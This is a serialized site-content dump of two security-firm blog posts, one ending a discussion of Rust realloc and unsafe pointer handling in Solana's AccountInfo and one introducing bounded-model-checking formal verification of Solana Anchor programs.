",{"type":25,"tag":115,"props":19563,"children":19565},{"className":19564},[],[19566],{"type":31,"value":17000},{"type":31,"value":19568},"'s data. The fix here is simple: keep that ",{"type":25,"tag":115,"props":19570,"children":19572},{"className":19571},[],[19573],{"type":31,"value":18238},{"type":31,"value":19575}," around and use it to access the data, instead of using ",{"type":25,"tag":115,"props":19577,"children":19579},{"className":19578},[],[19580],{"type":31,"value":19581},"RefCell::as_ptr",{"type":31,"value":19583},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":25,"tag":16970,"props":19585,"children":19586},{},[19587],{"type":25,"tag":71,"props":19588,"children":19592},{"href":19589,"ariaDescribedBy":19590,"dataFootnoteRef":7,"id":19591},"#user-content-fn-rustc-llvm",[16977],"user-content-fnref-rustc-llvm",[19593],{"type":31,"value":19025},{"type":31,"value":19595}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":25,"tag":16970,"props":19597,"children":19598},{},[19599],{"type":25,"tag":71,"props":19600,"children":19604},{"href":19601,"ariaDescribedBy":19602,"dataFootnoteRef":7,"id":19603},"#user-content-fn-godbolt",[16977],"user-content-fnref-godbolt",[19605],{"type":31,"value":19606},"5",{"type":31,"value":19608},". So then we get:",{"type":25,"tag":191,"props":19610,"children":19612},{"className":4487,"code":19611,"language":4486,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[19613],{"type":25,"tag":115,"props":19614,"children":19615},{"__ignoreMap":7},[19616,19660,19667,19674,19758,19798,19805,19812],{"type":25,"tag":201,"props":19617,"children":19618},{"class":203,"line":204},[19619,19623,19627,19632,19636,19640,19644,19648,19652,19656],{"type":25,"tag":201,"props":19620,"children":19621},{"style":208},[19622],{"type":31,"value":13289},{"type":25,"tag":201,"props":19624,"children":19625},{"style":208},[19626],{"type":31,"value":4513},{"type":25,"tag":201,"props":19628,"children":19629},{"style":246},[19630],{"type":31,"value":19631}," slice",{"type":25,"tag":201,"props":19633,"children":19634},{"style":261},[19635],{"type":31,"value":413},{"type":25,"tag":201,"props":19637,"children":19638},{"style":208},[19639],{"type":31,"value":15299},{"type":25,"tag":201,"props":19641,"children":19642},{"style":261},[19643],{"type":31,"value":80},{"type":25,"tag":201,"props":19645,"children":19646},{"style":214},[19647],{"type":31,"value":15376},{"type":25,"tag":201,"props":19649,"children":19650},{"style":220},[19651],{"type":31,"value":15381},{"type":25,"tag":201,"props":19653,"children":19654},{"style":261},[19655],{"type":31,"value":4661},{"type":25,"tag":201,"props":19657,"children":19658},{"style":220},[19659],{"type":31,"value":461},{"type":25,"tag":201,"props":19661,"children":19662},{"class":203,"line":226},[19663],{"type":25,"tag":201,"props":19664,"children":19665},{"emptyLinePlaceholder":17},[19666],{"type":31,"value":496},{"type":25,"tag":201,"props":19668,"children":19669},{"class":203,"line":278},[19670],{"type":25,"tag":201,"props":19671,"children":19672},{"style":4497},[19673],{"type":31,"value":15905},{"type":25,"tag":201,"props":19675,"children":19676},{"class":203,"line":311},[19677,19681,19685,19689,19693,19697,19701,19705,19709,19713,19717,19721,19725,19729,19733,19738,19742,19746,19750,19754],{"type":25,"tag":201,"props":19678,"children":19679},{"style":208},[19680],{"type":31,"value":13289},{"type":25,"tag":201,"props":19682,"children":19683},{"style":246},[19684],{"type":31,"value":15359},{"type":25,"tag":201,"props":19686,"children":19687},{"style":261},[19688],{"type":31,"value":413},{"type":25,"tag":201,"props":19690,"children":19691},{"style":208},[19692],{"type":31,"value":16092},{"type":25,"tag":201,"props":19694,"children":19695},{"style":220},[19696],{"type":31,"value":11090},{"type":25,"tag":201,"props":19698,"children":19699},{"style":246},[19700],{"type":31,"value":16810},{"type":25,"tag":201,"props":19702,"children":19703},{"style":261},[19704],{"type":31,"value":80},{"type":25,"tag":201,"props":19706,"children":19707},{"style":214},[19708],{"type":31,"value":15390},{"type":25,"tag":201,"props":19710,"children":19711},{"style":220},[19712],{"type":31,"value":15381},{"type":25,"tag":201,"props":19714,"children":19715},{"style":261},[19716],{"type":31,"value":80},{"type":25,"tag":201,"props":19718,"children":19719},{"style":214},[19720],{"type":31,"value":15403},{"type":25,"tag":201,"props":19722,"children":19723},{"style":220},[19724],{"type":31,"value":298},{"type":25,"tag":201,"props":19726,"children":19727},{"style":261},[19728],{"type":31,"value":5832},{"type":25,"tag":201,"props":19730,"children":19731},{"style":426},[19732],{"type":31,"value":5579},{"type":25,"tag":201,"props":19734,"children":19735},{"style":220},[19736],{"type":31,"value":19737},") } ",{"type":25,"tag":201,"props":19739,"children":19740},{"style":208},[19741],{"type":31,"value":10349},{"type":25,"tag":201,"props":19743,"children":19744},{"style":261},[19745],{"type":31,"value":11319},{"type":25,"tag":201,"props":19747,"children":19748},{"style":208},[19749],{"type":31,"value":5228},{"type":25,"tag":201,"props":19751,"children":19752},{"style":4925},[19753],{"type":31,"value":7369},{"type":25,"tag":201,"props":19755,"children":19756},{"style":220},[19757],{"type":31,"value":461},{"type":25,"tag":201,"props":19759,"children":19760},{"class":203,"line":330},[19761,19765,19769,19773,19777,19781,19785,19789,19793],{"type":25,"tag":201,"props":19762,"children":19763},{"style":208},[19764],{"type":31,"value":15858},{"type":25,"tag":201,"props":19766,"children":19767},{"style":220},[19768],{"type":31,"value":11090},{"type":25,"tag":201,"props":19770,"children":19771},{"style":261},[19772],{"type":31,"value":6077},{"type":25,"tag":201,"props":19774,"children":19775},{"style":246},[19776],{"type":31,"value":15451},{"type":25,"tag":201,"props":19778,"children":19779},{"style":261},[19780],{"type":31,"value":413},{"type":25,"tag":201,"props":19782,"children":19783},{"style":246},[19784],{"type":31,"value":15460},{"type":25,"tag":201,"props":19786,"children":19787},{"style":208},[19788],{"type":31,"value":10335},{"type":25,"tag":201,"props":19790,"children":19791},{"style":4925},[19792],{"type":31,"value":7369},{"type":25,"tag":201,"props":19794,"children":19795},{"style":220},[19796],{"type":31,"value":19797}," };\n",{"type":25,"tag":201,"props":19799,"children":19800},{"class":203,"line":397},[19801],{"type":25,"tag":201,"props":19802,"children":19803},{"emptyLinePlaceholder":17},[19804],{"type":31,"value":496},{"type":25,"tag":201,"props":19806,"children":19807},{"class":203,"line":437},[19808],{"type":25,"tag":201,"props":19809,"children":19810},{"style":4497},[19811],{"type":31,"value":17635},{"type":25,"tag":201,"props":19813,"children":19814},{"class":203,"line":464},[19815,19819,19823,19827,19831,19836,19840,19844,19848,19853,19857,19861,19865,19869,19874,19878],{"type":25,"tag":201,"props":19816,"children":19817},{"style":261},[19818],{"type":31,"value":6077},{"type":25,"tag":201,"props":19820,"children":19821},{"style":246},[19822],{"type":31,"value":16810},{"type":25,"tag":201,"props":19824,"children":19825},{"style":261},[19826],{"type":31,"value":413},{"type":25,"tag":201,"props":19828,"children":19829},{"style":208},[19830],{"type":31,"value":16092},{"type":25,"tag":201,"props":19832,"children":19833},{"style":220},[19834],{"type":31,"value":19835}," { std",{"type":25,"tag":201,"props":19837,"children":19838},{"style":261},[19839],{"type":31,"value":4988},{"type":25,"tag":201,"props":19841,"children":19842},{"style":220},[19843],{"type":31,"value":16810},{"type":25,"tag":201,"props":19845,"children":19846},{"style":261},[19847],{"type":31,"value":4988},{"type":25,"tag":201,"props":19849,"children":19850},{"style":214},[19851],{"type":31,"value":19852},"from_raw_parts_mut",{"type":25,"tag":201,"props":19854,"children":19855},{"style":220},[19856],{"type":31,"value":298},{"type":25,"tag":201,"props":19858,"children":19859},{"style":246},[19860],{"type":31,"value":16810},{"type":25,"tag":201,"props":19862,"children":19863},{"style":261},[19864],{"type":31,"value":80},{"type":25,"tag":201,"props":19866,"children":19867},{"style":214},[19868],{"type":31,"value":15390},{"type":25,"tag":201,"props":19870,"children":19871},{"style":220},[19872],{"type":31,"value":19873},"(), ",{"type":25,"tag":201,"props":19875,"children":19876},{"style":246},[19877],{"type":31,"value":15224},{"type":25,"tag":201,"props":19879,"children":19880},{"style":220},[19881],{"type":31,"value":16246},{"type":25,"tag":34,"props":19883,"children":19884},{},[19885,19887,19892,19894,19899,19901,19906,19908],{"type":31,"value":19886},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":25,"tag":115,"props":19888,"children":19890},{"className":19889},[],[19891],{"type":31,"value":9551},{"type":31,"value":19893}," and not a ",{"type":25,"tag":115,"props":19895,"children":19897},{"className":19896},[],[19898],{"type":31,"value":18097},{"type":31,"value":19900}," for the size field, given that ",{"type":25,"tag":115,"props":19902,"children":19904},{"className":19903},[],[19905],{"type":31,"value":18097},{"type":31,"value":19907}," is architecture-dependent), and no dependency on slice reference internals!",{"type":25,"tag":16970,"props":19909,"children":19910},{},[19911],{"type":25,"tag":71,"props":19912,"children":19916},{"href":19913,"ariaDescribedBy":19914,"dataFootnoteRef":7,"id":19915},"#user-content-fn-slice-unbound-lifetime",[16977],"user-content-fnref-slice-unbound-lifetime",[19917],{"type":31,"value":19918},"6",{"type":25,"tag":19920,"props":19921,"children":19924},"section",{"className":19922,"dataFootnotes":7},[19923],"footnotes",[19925,19932],{"type":25,"tag":26,"props":19926,"children":19929},{"className":19927,"id":16977},[19928],"sr-only",[19930],{"type":31,"value":19931},"Footnotes",{"type":25,"tag":6944,"props":19933,"children":19934},{},[19935,20040,20058,20113,20126,20154],{"type":25,"tag":6948,"props":19936,"children":19938},{"id":19937},"user-content-fn-rc-refs",[19939,19941,19947,19949,19954,19956,19960,19962,19966,19968,19973,19975,19981,19983,19988,19990,20000,20002,20007,20009,20014,20016,20021,20023,20029,20031],{"type":31,"value":19940},"I find it helpful to view owning an ",{"type":25,"tag":115,"props":19942,"children":19944},{"className":19943},[],[19945],{"type":31,"value":19946},"Rc\u003CT>",{"type":31,"value":19948}," as holding a shared reference to the underlying ",{"type":25,"tag":115,"props":19950,"children":19952},{"className":19951},[],[19953],{"type":31,"value":7496},{"type":31,"value":19955}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":25,"tag":65,"props":19957,"children":19958},{},[19959],{"type":31,"value":17953},{"type":31,"value":19961}," ensures that the actual ",{"type":25,"tag":65,"props":19963,"children":19964},{},[19965],{"type":31,"value":5206},{"type":31,"value":19967}," stays alive, however all you have is a reference to the ",{"type":25,"tag":115,"props":19969,"children":19971},{"className":19970},[],[19972],{"type":31,"value":7496},{"type":31,"value":19974}," (through the ",{"type":25,"tag":115,"props":19976,"children":19978},{"className":19977},[],[19979],{"type":31,"value":19980},"Deref\u003CTarget = T>",{"type":31,"value":19982}," impl) - ",{"type":25,"tag":65,"props":19984,"children":19985},{},[19986],{"type":31,"value":19987},"not",{"type":31,"value":19989}," ownership ",{"type":25,"tag":65,"props":19991,"children":19992},{},[19993,19995],{"type":31,"value":19994},"of the ",{"type":25,"tag":115,"props":19996,"children":19998},{"className":19997},[],[19999],{"type":31,"value":7496},{"type":31,"value":20001},". In short, owning an ",{"type":25,"tag":115,"props":20003,"children":20005},{"className":20004},[],[20006],{"type":31,"value":19946},{"type":31,"value":20008}," is owning a (shared, read-only) reference to ",{"type":25,"tag":115,"props":20010,"children":20012},{"className":20011},[],[20013],{"type":31,"value":7496},{"type":31,"value":20015},", not owning ",{"type":25,"tag":115,"props":20017,"children":20019},{"className":20018},[],[20020],{"type":31,"value":7496},{"type":31,"value":20022}," directly like with ",{"type":25,"tag":115,"props":20024,"children":20026},{"className":20025},[],[20027],{"type":31,"value":20028},"Box\u003CT>",{"type":31,"value":20030},". ",{"type":25,"tag":71,"props":20032,"children":20037},{"href":20033,"ariaLabel":20034,"className":20035,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[20036],"data-footnote-backref",[20038],{"type":31,"value":20039},"↩",{"type":25,"tag":6948,"props":20041,"children":20043},{"id":20042},"user-content-fn-sendsync",[20044,20050,20051],{"type":25,"tag":115,"props":20045,"children":20047},{"className":20046},[],[20048],{"type":31,"value":20049},"!Send + !Sync",{"type":31,"value":7966},{"type":25,"tag":71,"props":20052,"children":20056},{"href":20053,"ariaLabel":20054,"className":20055,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[20036],[20057],{"type":31,"value":20039},{"type":25,"tag":6948,"props":20059,"children":20061},{"id":20060},"user-content-fn-layout",[20062,20064,20069,20070,20083,20085,20090,20092,20097,20099,20104,20106],{"type":31,"value":20063},"Note that this is a terrible idea for yet another reason: ",{"type":25,"tag":115,"props":20065,"children":20067},{"className":20066},[],[20068],{"type":31,"value":16437},{"type":31,"value":7010},{"type":25,"tag":71,"props":20071,"children":20074},{"href":20072,"rel":20073},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[75],[20075,20077],{"type":31,"value":20076},"not declared with ",{"type":25,"tag":115,"props":20078,"children":20080},{"className":20079},[],[20081],{"type":31,"value":20082},"#[repr(C)]",{"type":31,"value":20084},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":25,"tag":65,"props":20086,"children":20087},{},[20088],{"type":31,"value":20089},"breaks the entire chain",{"type":31,"value":20091}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":25,"tag":65,"props":20093,"children":20094},{},[20095],{"type":31,"value":20096},"some",{"type":31,"value":20098}," kind of interface to the specific layout of the specific ",{"type":25,"tag":115,"props":20100,"children":20102},{"className":20101},[],[20103],{"type":31,"value":18005},{"type":31,"value":20105}," versions used to build on-chain code for all eternity... ",{"type":25,"tag":71,"props":20107,"children":20111},{"href":20108,"ariaLabel":20109,"className":20110,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[20036],[20112],{"type":31,"value":20039},{"type":25,"tag":6948,"props":20114,"children":20116},{"id":20115},"user-content-fn-rustc-llvm",[20117,20119],{"type":31,"value":20118},"Actually, it's LLVM that does the optimization ",{"type":25,"tag":71,"props":20120,"children":20124},{"href":20121,"ariaLabel":20122,"className":20123,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[20036],[20125],{"type":31,"value":20039},{"type":25,"tag":6948,"props":20127,"children":20129},{"id":20128},"user-content-fn-godbolt",[20130,20137,20139,20145,20147],{"type":25,"tag":71,"props":20131,"children":20134},{"href":20132,"rel":20133},"https://godbolt.org/z/PK46xMbxc",[75],[20135],{"type":31,"value":20136},"Click here",{"type":31,"value":20138}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":25,"tag":115,"props":20140,"children":20142},{"className":20141},[],[20143],{"type":31,"value":20144},"libcore",{"type":31,"value":20146}," available for other architectures yet. ",{"type":25,"tag":71,"props":20148,"children":20152},{"href":20149,"ariaLabel":20150,"className":20151,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[20036],[20153],{"type":31,"value":20039},{"type":25,"tag":6948,"props":20155,"children":20157},{"id":20156},"user-content-fn-slice-unbound-lifetime",[20158,20160,20165,20167,20173,20175,20181,20183,20189,20191,20197,20199,20205,20207,20212,20214],{"type":31,"value":20159},"The astute reader may have noticed that ",{"type":25,"tag":115,"props":20161,"children":20163},{"className":20162},[],[20164],{"type":31,"value":19852},{"type":31,"value":20166}," still returns an unbounded lifetime (notice in the signature ",{"type":25,"tag":115,"props":20168,"children":20170},{"className":20169},[],[20171],{"type":31,"value":20172},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":31,"value":20174},", the lifetime parameter ",{"type":25,"tag":115,"props":20176,"children":20178},{"className":20177},[],[20179],{"type":31,"value":20180},"'a",{"type":31,"value":20182}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":25,"tag":115,"props":20184,"children":20186},{"className":20185},[],[20187],{"type":31,"value":20188},"*slice",{"type":31,"value":20190},", which is ",{"type":25,"tag":115,"props":20192,"children":20194},{"className":20193},[],[20195],{"type":31,"value":20196},"&'info [u8]",{"type":31,"value":20198}," (where ",{"type":25,"tag":115,"props":20200,"children":20202},{"className":20201},[],[20203],{"type":31,"value":20204},"'info",{"type":31,"value":20206}," is the lifetime parameter of the ",{"type":25,"tag":115,"props":20208,"children":20210},{"className":20209},[],[20211],{"type":31,"value":16437},{"type":31,"value":20213}," struct) - this is exactly the lifetime we started with. ",{"type":25,"tag":71,"props":20215,"children":20219},{"href":20216,"ariaLabel":20217,"className":20218,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[20036],[20220],{"type":31,"value":20039},{"type":25,"tag":4349,"props":20222,"children":20223},{},[20224],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":20226},[20227,20233,20237,20238,20240],{"id":15870,"depth":226,"text":20228,"children":20229},"Breaking down realloc",[20230,20231],{"id":16036,"depth":278,"text":16039},{"id":17387,"depth":278,"text":20232},"Back to realloc",{"id":18340,"depth":226,"text":18343,"children":20234},[20235,20236],{"id":18346,"depth":278,"text":18349},{"id":18568,"depth":278,"text":18571},{"id":18754,"depth":226,"text":18757},{"id":19156,"depth":226,"text":20239},"Towards safer unsafe",{"id":16977,"depth":226,"text":19931},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":20245,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":20246,"description":20247,"author":20248,"image":20249,"date":20251,"isFeatured":17,"onBlogPage":17,"tags":20252,"body":20253,"_type":4371,"_id":30484,"_source":4373,"_file":30485,"_stem":30486,"_extension":4376},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":20250,"height":15125,"width":15},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[4388,4389],{"type":22,"children":20254,"toc":30456},[20255,20260,20265,20291,20295,20307,20330,20353,20365,20388,20391,20398,20447,20453,20459,20464,20475,20516,20521,20527,20532,20765,20784,20789,20794,20867,20872,20942,20956,21379,21399,21405,21424,21429,21434,21439,21445,21457,21492,21503,21514,21526,21531,21562,21586,21605,21611,21628,21634,21661,21666,21686,21698,21844,21872,21875,21887,21970,21989,21992,22031,22197,22202,22208,22220,22238,22251,22412,22424,22437,22911,22916,22963,22969,22987,23056,23294,23508,23513,23587,23635,23640,23646,23748,23852,23857,23920,23925,23931,23996,24001,24043,24069,24075,24144,24149,24199,24210,24216,24227,24248,24253,24258,24281,24287,24299,24319,25413,25432,25483,25488,25496,25508,25513,25521,25526,25542,25578,25583,25677,25682,25690,25695,25807,25812,25820,25833,25997,26002,26010,26015,26020,26088,26122,26128,26133,26144,26162,26540,26552,26564,26572,26583,26614,26619,26627,26632,26904,26923,26928,26954,27821,27833,27932,27944,27986,27991,28003,28011,28016,28028,28054,28214,28226,28234,28239,28515,28520,28532,28687,28707,29033,29067,29261,29294,29306,29428,29448,29453,29458,29463,29476,29484,29489,29964,29976,29981,29993,29998,30257,30283,30288,30294,30300,30312,30324,30343,30390,30395,30401,30406,30411,30416,30420,30425,30430,30433,30452],{"type":25,"tag":34,"props":20256,"children":20257},{},[20258],{"type":31,"value":20259},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":25,"tag":34,"props":20261,"children":20262},{},[20263],{"type":31,"value":20264},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":25,"tag":34,"props":20266,"children":20267},{},[20268,20270,20274,20276,20281,20283,20290],{"type":31,"value":20269},"In the world of Web3 we create programs that talk to strangers ",{"type":25,"tag":65,"props":20271,"children":20272},{},[20273],{"type":31,"value":17867},{"type":31,"value":20275}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":25,"tag":65,"props":20277,"children":20278},{},[20279],{"type":31,"value":20280},"juciest",{"type":31,"value":20282},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":25,"tag":71,"props":20284,"children":20287},{"href":20285,"rel":20286},"https://rekt.news/leaderboard/",[75],[20288],{"type":31,"value":20289},"hundreds of millions of dollars",{"type":31,"value":80},{"type":25,"tag":20292,"props":20293,"children":20294},"hr",{},[],{"type":25,"tag":34,"props":20296,"children":20297},{},[20298,20300,20305],{"type":31,"value":20299},"At OtterSec we are ",{"type":25,"tag":65,"props":20301,"children":20302},{},[20303],{"type":31,"value":20304},"highly skilled in pest control",{"type":31,"value":20306}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":25,"tag":34,"props":20308,"children":20309},{},[20310,20312,20319,20321,20328],{"type":31,"value":20311},"Recently we were contacted by the ",{"type":25,"tag":71,"props":20313,"children":20316},{"href":20314,"rel":20315},"https://squads.so/",[75],[20317],{"type":31,"value":20318},"Squads team",{"type":31,"value":20320}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":25,"tag":71,"props":20322,"children":20325},{"href":20323,"rel":20324},"https://github.com/Squads-Protocol/squads-mpl",[75],[20326],{"type":31,"value":20327},"Squads Multisig Program",{"type":31,"value":20329}," as our main case study.",{"type":25,"tag":34,"props":20331,"children":20332},{},[20333,20335,20342,20344,20351],{"type":31,"value":20334},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":25,"tag":71,"props":20336,"children":20339},{"href":20337,"rel":20338},"https://www.anchor-lang.com/",[75],[20340],{"type":31,"value":20341},"anchor-lang",{"type":31,"value":20343}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":25,"tag":71,"props":20345,"children":20348},{"href":20346,"rel":20347},"https://github.com/model-checking/kani",[75],[20349],{"type":31,"value":20350},"Kani Rust Verifier",{"type":31,"value":20352},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":25,"tag":34,"props":20354,"children":20355},{},[20356,20358,20363],{"type":31,"value":20357},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":25,"tag":65,"props":20359,"children":20360},{},[20361],{"type":31,"value":20362},"bounded model checking",{"type":31,"value":20364}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":25,"tag":34,"props":20366,"children":20367},{},[20368],{"type":25,"tag":65,"props":20369,"children":20370},{},[20371,20373,20380,20382],{"type":31,"value":20372},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":25,"tag":71,"props":20374,"children":20377},{"href":20375,"rel":20376},"https://osec.io/contact",[75],[20378],{"type":31,"value":20379},"this form",{"type":31,"value":20381}," or email us at ",{"type":25,"tag":71,"props":20383,"children":20385},{"href":20384},"mailto:contact@osec.io",[20386],{"type":31,"value":20387},"contact@osec.io",{"type":25,"tag":20292,"props":20389,"children":20390},{},[],{"type":25,"tag":20392,"props":20393,"children":20395},"h4",{"id":20394},"contents",[20396],{"type":31,"value":20397},"Contents:",{"type":25,"tag":6944,"props":20399,"children":20400},{},[20401,20406,20423,20433,20438,20443],{"type":25,"tag":6948,"props":20402,"children":20403},{},[20404],{"type":31,"value":20405},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":25,"tag":6948,"props":20407,"children":20408},{},[20409,20414,20416,20421],{"type":25,"tag":1252,"props":20410,"children":20411},{},[20412],{"type":31,"value":20413},"Specification",{"type":31,"value":20415},": How can we describe what we ",{"type":25,"tag":65,"props":20417,"children":20418},{},[20419],{"type":31,"value":20420},"want",{"type":31,"value":20422}," our program to do?",{"type":25,"tag":6948,"props":20424,"children":20425},{},[20426,20431],{"type":25,"tag":1252,"props":20427,"children":20428},{},[20429],{"type":31,"value":20430},"Verification",{"type":31,"value":20432},": How do we check that our model is correct?",{"type":25,"tag":6948,"props":20434,"children":20435},{},[20436],{"type":31,"value":20437},"Case Study: Squads Multisig",{"type":25,"tag":6948,"props":20439,"children":20440},{},[20441],{"type":31,"value":20442},"Additional challenges in Solana",{"type":25,"tag":6948,"props":20444,"children":20445},{},[20446],{"type":31,"value":4326},{"type":25,"tag":26,"props":20448,"children":20450},{"id":20449},"formal-verification-with-bounded-model-checking",[20451],{"type":31,"value":20452},"Formal Verification with Bounded Model Checking",{"type":25,"tag":40,"props":20454,"children":20456},{"id":20455},"overview",[20457],{"type":31,"value":20458},"Overview",{"type":25,"tag":34,"props":20460,"children":20461},{},[20462],{"type":31,"value":20463},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":25,"tag":34,"props":20465,"children":20466},{},[20467,20469,20474],{"type":31,"value":20468},"There are many different flavors of formal verification, however in this research we are using ",{"type":25,"tag":1252,"props":20470,"children":20471},{},[20472],{"type":31,"value":20473},"bounded model checking (BMC)",{"type":31,"value":80},{"type":25,"tag":34,"props":20476,"children":20477},{},[20478,20480,20485,20487,20492,20494,20498,20500,20506,20508,20514],{"type":31,"value":20479},"In short, the idea of BMC is to execute our program ",{"type":25,"tag":65,"props":20481,"children":20482},{},[20483],{"type":31,"value":20484},"symbolically",{"type":31,"value":20486}," rather than ",{"type":25,"tag":65,"props":20488,"children":20489},{},[20490],{"type":31,"value":20491},"concretely",{"type":31,"value":20493},". Instead of actually performing an ",{"type":25,"tag":65,"props":20495,"children":20496},{},[20497],{"type":31,"value":2011},{"type":31,"value":20499}," when we see the line ",{"type":25,"tag":115,"props":20501,"children":20503},{"className":20502},[],[20504],{"type":31,"value":20505},"int x = a + b",{"type":31,"value":20507},", we store the symbolic expression ",{"type":25,"tag":115,"props":20509,"children":20511},{"className":20510},[],[20512],{"type":31,"value":20513},"x == a + b",{"type":31,"value":20515},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":25,"tag":34,"props":20517,"children":20518},{},[20519],{"type":31,"value":20520},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":25,"tag":40,"props":20522,"children":20524},{"id":20523},"a-simple-example",[20525],{"type":31,"value":20526},"A simple example",{"type":25,"tag":34,"props":20528,"children":20529},{},[20530],{"type":31,"value":20531},"As an example, consider the following function:",{"type":25,"tag":191,"props":20533,"children":20535},{"code":20534,"language":4652,"meta":7,"className":18010,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[20536],{"type":25,"tag":115,"props":20537,"children":20538},{"__ignoreMap":7},[20539,20569,20603,20615,20640,20668,20683,20710,20717,20724,20732,20758],{"type":25,"tag":201,"props":20540,"children":20541},{"class":203,"line":204},[20542,20547,20552,20556,20560,20565],{"type":25,"tag":201,"props":20543,"children":20544},{"style":208},[20545],{"type":31,"value":20546},"int",{"type":25,"tag":201,"props":20548,"children":20549},{"style":214},[20550],{"type":31,"value":20551}," foo",{"type":25,"tag":201,"props":20553,"children":20554},{"style":220},[20555],{"type":31,"value":298},{"type":25,"tag":201,"props":20557,"children":20558},{"style":208},[20559],{"type":31,"value":20546},{"type":25,"tag":201,"props":20561,"children":20562},{"style":246},[20563],{"type":31,"value":20564}," x",{"type":25,"tag":201,"props":20566,"children":20567},{"style":220},[20568],{"type":31,"value":275},{"type":25,"tag":201,"props":20570,"children":20571},{"class":203,"line":226},[20572,20577,20581,20585,20590,20594,20599],{"type":25,"tag":201,"props":20573,"children":20574},{"style":208},[20575],{"type":31,"value":20576},"    int",{"type":25,"tag":201,"props":20578,"children":20579},{"style":220},[20580],{"type":31,"value":6020},{"type":25,"tag":201,"props":20582,"children":20583},{"style":261},[20584],{"type":31,"value":1383},{"type":25,"tag":201,"props":20586,"children":20587},{"style":220},[20588],{"type":31,"value":20589}," x ",{"type":25,"tag":201,"props":20591,"children":20592},{"style":261},[20593],{"type":31,"value":5886},{"type":25,"tag":201,"props":20595,"children":20596},{"style":426},[20597],{"type":31,"value":20598}," 3",{"type":25,"tag":201,"props":20600,"children":20601},{"style":220},[20602],{"type":31,"value":461},{"type":25,"tag":201,"props":20604,"children":20605},{"class":203,"line":278},[20606,20610],{"type":25,"tag":201,"props":20607,"children":20608},{"style":208},[20609],{"type":31,"value":20576},{"type":25,"tag":201,"props":20611,"children":20612},{"style":220},[20613],{"type":31,"value":20614}," z;\n",{"type":25,"tag":201,"props":20616,"children":20617},{"class":203,"line":311},[20618,20622,20627,20631,20636],{"type":25,"tag":201,"props":20619,"children":20620},{"style":230},[20621],{"type":31,"value":13781},{"type":25,"tag":201,"props":20623,"children":20624},{"style":220},[20625],{"type":31,"value":20626}," (y ",{"type":25,"tag":201,"props":20628,"children":20629},{"style":261},[20630],{"type":31,"value":1342},{"type":25,"tag":201,"props":20632,"children":20633},{"style":426},[20634],{"type":31,"value":20635}," 